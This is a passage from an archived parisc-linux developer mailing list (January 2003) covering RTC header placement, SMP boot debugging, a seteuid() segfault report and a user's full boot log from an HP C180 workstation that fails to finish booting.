	for <parisc-linux@parisc-linux.org>; Sun, 12 Jan 2003 15:27:13 -0700 (MST)
Original-Received: from rz.de (faui80 [131.188.38.1])
	by faui80.informatik.uni-erlangen.de (8.9.1a/8.1.13-FAU) with ESMTP id XAA29720; Sun, 12 Jan 2003 23:26:52 +0100 (MET)
Original-Received: (from rz@localhost)
	by rz.de (8.8.8/8.8.8) id WAA00636;
	Sun, 12 Jan 2003 22:49:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200301121333.17077.deller@gmx.de>; from deller@gmx.de on Sun, Jan 12, 2003 at 01:35:33PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17359

On Sun, Jan 12, 2003 at 01:35:33PM +0100, Helge Deller wrote:

> > BTW, perhaps we should move the global RTC_* definitions in <asm/rtc.h> to
> > <linux/genrtc.h>, or merge them with the ones in <linux/mc146818rtc.h> and
> > move them to <linux/rtc.h>?
> 
> IMHO leaving them architecture specific in <asm/rtc.h> seems best to me, and it 
> leaves the most possibilities to make them later more dependend on the hardware.

in genrtc the RTC_* defs should be used only for interface definition,
unlike rtc.c where they are 1:1 with some obscure bits in the rtc chip
and also happen to be the interface..
It would make sense to merge them into <linux/rtc.h>, whether it is 
a good idea to do it in 2.4 is another question.
Stuff that is really hw dependent should use different naming (and stay
in asm/rtc.h of course). 

Richard



From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with weak symbols
Date: Mon, 13 Jan 2003 09:48:31 +0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20030113094829.C25226@neep.com.au>
References: <200301072049.h07KnF1F023893@hiauly1.hia.nrc.ca> <3E1B598D.3D31F412@web.de> <20030107231058.GB5217@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622104 19813 80.91.229.3 (22 Nov 2014 02:08:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 18:48:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (p226.sw02.auto.usertools.net [202.154.81.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 300F44829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 18:48:54 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id JAA00419
	for parisc-linux@lists.parisc-linux.org; Mon, 13 Jan 2003 09:48:36 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030107231058.GB5217@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, Jan 07, 2003 at 04:10:58PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17360

Grant Grundler said:
> On Tue, Jan 07, 2003 at 11:49:49PM +0100, b.gunreben wrote:
> > If someone knows who is maintaining the XFree86 package of debian,
> 
> I recently asked the same question:
> 	apt-cache show xfree86-common
> ...
> Maintainer: Branden Robinson <branden@debian.org>
> ...
> 
> grant

The appropriate place for discussion of the Debian XFree86 packages is
probably the debian-x@lists.debian.org mailing list[1], home of The X
Strike Force[2].  =)

Andrew.

[1]  http://lists.debian.org/debian-x/
[2]  http://people.debian.org/~branden/xsf/xsf.html

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.56-pa0 64bit successful boot
Date: Sun, 12 Jan 2003 19:13:06 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030113021306.GB30895@dsl2.external.hp.com>
References: <20030112021041.32cfbb84.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622104 19815 80.91.229.3 (22 Nov 2014 02:08:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 19:13:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C07F44829; Sun, 12 Jan 2003 19:13:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030112021041.32cfbb84.varenet@esiee.fr>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17361

On Sun, Jan 12, 2003 at 02:10:41AM +0100, Thibaut VARENE wrote:
> FWIW, SMP kernel with the exact same configuration died just at:
> POSIX conformance testing by UNIFIX

I looked at the dmesg you had attached. Please don't compress
them in the future - defeats archive searches later.

The dmesg output reminded me the init sequence has substantially changed.
I'd be very susicious that additional CPUs are brought "online" later than
before.  I would guess that arch/parisc/kernel/smp.c and processor.c
needs to be changed to match. Can you retry CONFIG_SMP with
EARLY_BOOTUP_DEBUG enabled in arch/parisc/kernel/pdc_cons.c?

Oh, and also set kDEBUG in arch/parisc/kernel/smp.c to 100.

thanks,
grant


From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Mon, 13 Jan 2003 03:06:35 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20030113030635.I26554@parcelfarce.linux.theplanet.co.uk>
References: <1042386569.3329.4.camel@luigi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622105 19817 80.91.229.3 (22 Nov 2014 02:08:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Luigi Gangitano <luigi@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 20:06:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32A2D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 20:06:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Xuvr-00017L-00; Mon, 13 Jan 2003 03:06:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1042386569.3329.4.camel@luigi>; from luigi@debian.org on Sun, Jan 12, 2003 at 04:49:29PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17362

On Sun, Jan 12, 2003 at 04:49:29PM +0100, Luigi Gangitano wrote:
> I'm the Debian package maintainer for Squid (HTTP Proxy). I received the
> forwarded bug report describing issues in seteuid() on palinux. While
> using seteuid(), forked processes terminate with SEGV.
> 
> Is it a known problem?

I wonder how it can be a problem at all.  The kernel implements only
sys_setresuid() and i would imagine that glibc implements both
seteuid() and setresuid() in terms of this system call.

Perhaps someone who's willing to touch glibc would care to comment?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Sun, 12 Jan 2003 19:11:09 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030113031109.GI1177@tausq.org>
References: <1042386569.3329.4.camel@luigi> <20030113030635.I26554@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622105 19823 80.91.229.3 (22 Nov 2014 02:08:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:25 +0000 (UTC)
Cc: Luigi Gangitano <luigi@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 20:13:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60B914829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 20:13:49 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C728CCD3A7; Sun, 12 Jan 2003 19:11:09 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030113030635.I26554@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17363

> I wonder how it can be a problem at all.  The kernel implements only
> sys_setresuid() and i would imagine that glibc implements both
> seteuid() and setresuid() in terms of this system call.
> 
> Perhaps someone who's willing to touch glibc would care to comment?

seteuid() works fine in simple tests. i don't think it's seteuid...
something else is broken. can someone provide a simple test case for the
segfault?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marc Eisenbarth" <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Cannot boot after installing kernel!
Date: Sun, 12 Jan 2003 21:59:23 -0600
Lines: 302
Approved: news@gmane.org
Message-ID: <001a01c2bab8$29127720$3e73a218@ko>
References: <20030111213641.F26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622105 19825 80.91.229.3 (22 Nov 2014 02:08:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:25 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 20:59:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4EF14829
	for <parisc-linux@parisc-linux.org>; Sun, 12 Jan 2003 20:59:18 -0700 (MST)
Original-Received: from ko [24.162.115.62] by mail.centraltx.com with ESMTP
  (SMTPD32-7.04) id A949DB7501A6; Sun, 12 Jan 2003 21:58:01 -0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <20030111213641.F26554@parcelfarce.linux.theplanet.co.uk>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Declude-Sender: marc@centraltx.com [24.162.115.62]
X-Declude-Spoolname: D39491a6.SMD
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17364

Well, you were right about it taking a while to boot, but it still
bombed on me... see below. Is there a way I can boot my previous kernel
up again? 

Firmware Version  2.7

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------
------
    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights
reserved
 
------------------------------------------------------------------------
------

   Processor   Speed            State           Coprocessor State  I/D
Cache 
   ---------  --------   ---------------------  -----------------
-------------
       0      180 MHz    Active                 Functional         1
MB/1 MB

   Central Bus Speed (in MHz) :        120

   Available memory (bytes)    : 805306368
   Good memory required (bytes):          0 (Not Set by OS)
   Primary boot path:    FWSCSI.5.0
   Alternate boot path:  SESCSI.6.0
   Console path:         GRAPHICS(3)
   Keyboard path:        PS2
 CPU 0
 WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.

 Processor is booting from first available device.

 To discontinue, press any key within 10 seconds.

 10 seconds expired.
 Proceeding...
Searching for device(s) with bootable media...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).

 Attempting to boot Primary Path...

 BOOTABLE DEVICE FOUND:
    Path Number        Device Path              Device Type and
Utilities
   -----------        -----------------        -------------------------
   P0                 FWSCSI.5.0               SEAGATE ST34371W        
                                                IPL
Booting... 
Boot IO Dependent Code (IODC) revision 150


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

 Partition Start(MB) End(MB) Id Type
  1               1      16   f0 Palo
  2            3141    4094   82 swap
  5              17    3140   83 ext2
 PALO(F0) partition contains:
     0/vmlinux32 3687647 bytes @ 0x48000

 Information: No console specified on kernel command line. This is
normal.
 PALO will choose the console currently used by firmware (serial).
 Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0
TERM=vt102 palo_kernel=5/boot/vmlinux'
 Selected kernel: /boot/vmlinux from partition 5
 ELF32 executable
 Entry 00100000 first 00100000 n 5
 Segment 0 load 00100000 size 2503500 mediaptr 0x1000
 Segment 1 load 00364000 size 674056 mediaptr 0x265000
 Segment 2 load 0040c000 size 286720 mediaptr 0x30a000
 Segment 3 load 00458000 size 32768 mediaptr 0x350000
 Segment 4 load 0048efb8 size 110864 mediaptr 0x358fb8
 Branching to kernel entry point 0x00100000.  If this is the last
 message you see, you may need to switch your console.  This is
 a common symptom -- search the FAQ and mailing list at parisc-linux.org

 Linux version 2.4.19-32-smp (root@j5k) (gcc version 3.0.4) #1 SMP Fri
Nov 22 23:11:10 MST 2002
 FP[0] enabled: Rev 0 Model 14
 The 32-bit Kernel has started...
 Determining PDC firmware type: System Map.
 model 000059c0 00000481 00000000 00000002 77d14d81 100000f0 00000008
000000b2 000000b2
 vers  00000205
 CPUID vers 14 rev 9 (0x000001c9)
 model 9000/780/C180
 Total Memory: 768 Mb
 pagetable_init
 On node 0 totalpages: 196608
 zone(0): 196608 pages.
 zone(1): 0 pages.
 zone(2): 0 pages.
 LED display at f0190001 registered
 Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=5/boot/vmlinux
 Console: colour dummy device 160x64
 Calibrating delay loop... 358.80 BogoMIPS
 Memory: 773296k available
 Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
 Inode cache hash table entries: 65536 (order: 7, 524288 bytes)
 Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
 Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes)
 Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
 Searching for devices...
 Found devices:
 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf,
0xb
 2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x1, 0xa
 3. Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x7, 0x0, 0x96
 4. Raven Backplane RS-232 (10) at 0xf2003000 [8/3], versions 0x17, 0x0,
0x8c
 5. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b,
0x0, 0x89
 6. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0,
0x81,  additional addresses: 0xffd0c000 0xffc00000 
 7. UL 350 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2e,
0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000 
 8. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b,
0x4, 0x7b
 9. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b,
0x0, 0x8c
 10. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b,
0x0, 0x82
 11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions
0x3b, 0x0, 0x8a
 12. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions
0x3b, 0x0, 0x84
 13. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions
0x3b, 0x0, 0x84
 14. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17,
0x0, 0x8e
 15. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17,
0x0, 0x73
 16. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17,
0x0, 0x8c
 17. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions
0x17, 0x0, 0x90,  additional addresses: 0xffc88000 0xfc00000b 
 18. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16,
0x0, 0x85,  additional addresses: 0xf0084000 
 19. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1,
0xc
 20. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf,
0xb
 21. Coral SGC Graphics (10) at 0xf8000000 [10/8], versions 0x4, 0x0,
0x77
 22. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1,
0xc
 23. Raven U 180 (9000/780/C180) (0) at 0xfffa0000 [32], versions 0x59c,
0x0, 0x4
 24. Memory (1) at 0xfffb1000 [49], versions 0x72, 0x0, 0x9
 CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
 Found U2 at 0xfff88000
 Found U2 at 0xfff8a000
 Lasi version 0 at 0xffd00000 found.
 Wax at 0xffe00000 found.
 Wax EISA Adapter found at 0xfc000000
 EISA EEPROM at 0xffc88000
 Enumerating EISA bus
 EISA slot 1 id mis-match: got INP0500 expected ___FFFF 
 Dino version 2.1 found at 0xf2000000
 The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
 data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
 Systems shipped after Aug 20, 1997 will not exhibit this problem.
 Models affected: C180, C160, C160L, B160L, and B132L workstations.

 Dino: No PCI devices enabled.
 POSIX conformance testing by UNIFIX
 SMP: Bootstrap processor only.
 SMP: Total 1 of 1 processors activated (358.81 BogoMIPS noticed).
 Waiting on wait_init_idle (map = 0x0)
 All processors have done init_idle
 Linux NET4.0 for Linux 2.4
 Based upon Swansea University Computer Society NET3.039
 Initializing RT netlink socket
 Soft power switch enabled, polling @ 0xf0140000.
 Starting kswapd
 Journalled Block Device driver loaded
 Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
 parport_init_chip: initialize bidirectional-mode.
 parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
 STI GSC/PCI graphics driver version 0.9
 STI word mode ROM at f0084000, hpa at fa000000
 STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
 STI device: INTERNAL_EG_1280
 STI byte mode ROM at f8000000, hpa at f8000000
 STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
 STI device: HPA4071B_LZ
 Console: switching to colour frame buffer device 160x64
 fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio:
0xfa100000
 fb1: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:
0xf8100000
 pty: 256 Unix98 ptys configured
 Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
 ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
 ttyS01 at iomem 0xffe02800 (irq = 121) is a 16550A
 PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
 PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
 lp0: using parport0 (interrupt-driven).
 Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
 Uniform Multi-Platform E-IDE driver Revision: 6.31
 ide: Assuming 50MHz system bus speed for PIO modes; override with
idebus=xx
 RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
 loop: loaded (max 8 devices)
 Found i82596 at 0xffd07000, IRQ 87
 eth0: 82596 at 0xffd07000, 00 60 B0 18 9B B9 IRQ 87.
 82596.c $Revision: 1.29 $
 SCSI subsystem driver Revision: 1.00
 zalon_scsi_callback: Zalon vers field is 0x1, IRQ 36
 ncr53c8xx: 53c720 detected
 ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
 scsi0 : ncr53c8xx-3.4.3b-20010512
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
   Vendor: SEAGATE   Model: ST32171W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
 53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
 scsi1: 53c710 rev 2 
 scsi1 : LASI SCSI 53c700
 scsi1: (1:0) Synchronous at offset 8, period 100ns
   Vendor: SONY      Model: SDT-7000          Rev: 0150
   Type:   Sequential-Access                  ANSI SCSI revision: 02
 st: Version 20020205, bufsize 32768, wrt 30720, max init. bufs 4, s/g
segs 16
 Attached scsi tape st0 at scsi1, channel 0, id 1, lun 0
 Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
 Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
 ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
 SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
 Partition check:
  sda: sda1 sda2 sda3 < sda5 >
 ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
 SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
  sdb: sdb1
 Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 2 at 0xffd04000, IRQ
82
 usb.c: registered new driver usbdevfs
 usb.c: registered new driver hub
 usb.c: registered new driver hid
 hid-core.c: v1.8.1 Andreas Gal, Vojtech Pavlik <vojtech@suse.cz>
 hid-core.c: USB HID support drivers
 mice: PS/2 mouse device common for all mice
 HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
 HP SDC: New style SDC
 HP SDC: Revision: 1820-4784
 HP SDC: TI SN76494 beeper present
 HP SDC: OKI MSM-58321 BBRTC present
 HP SDC: Spunking the self test register to force PUP on next firmware
reset.
 HP SDC MLC: Registering the System Domain Controller's HIL MLC.
 md: line








-Marc 


-----Original Message-----
From: willy@www.linux.org.uk [mailto:willy@www.linux.org.uk] On Behalf
Of Matthew Wilcox
Sent: Saturday, January 11, 2003 3:37 PM
To: Marc Eisenbarth
Cc: parisc-linux@parisc-linux.org
Subject: Re: [parisc-linux] Cannot boot after installing kernel!

On Sat, Jan 11, 2003 at 03:28:21PM -0600, Marc Eisenbarth wrote:
> Well, things were going great on my C180 until just a few minutes ago
> when I did:

i'd think this is not actually hung, it's just taking a very long time
to
boot.  can you leave it for 10 minutes or so and see if it comes to
life?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies.
Do you think I want to have an academic debate on this subject?" --
Robert Fisk



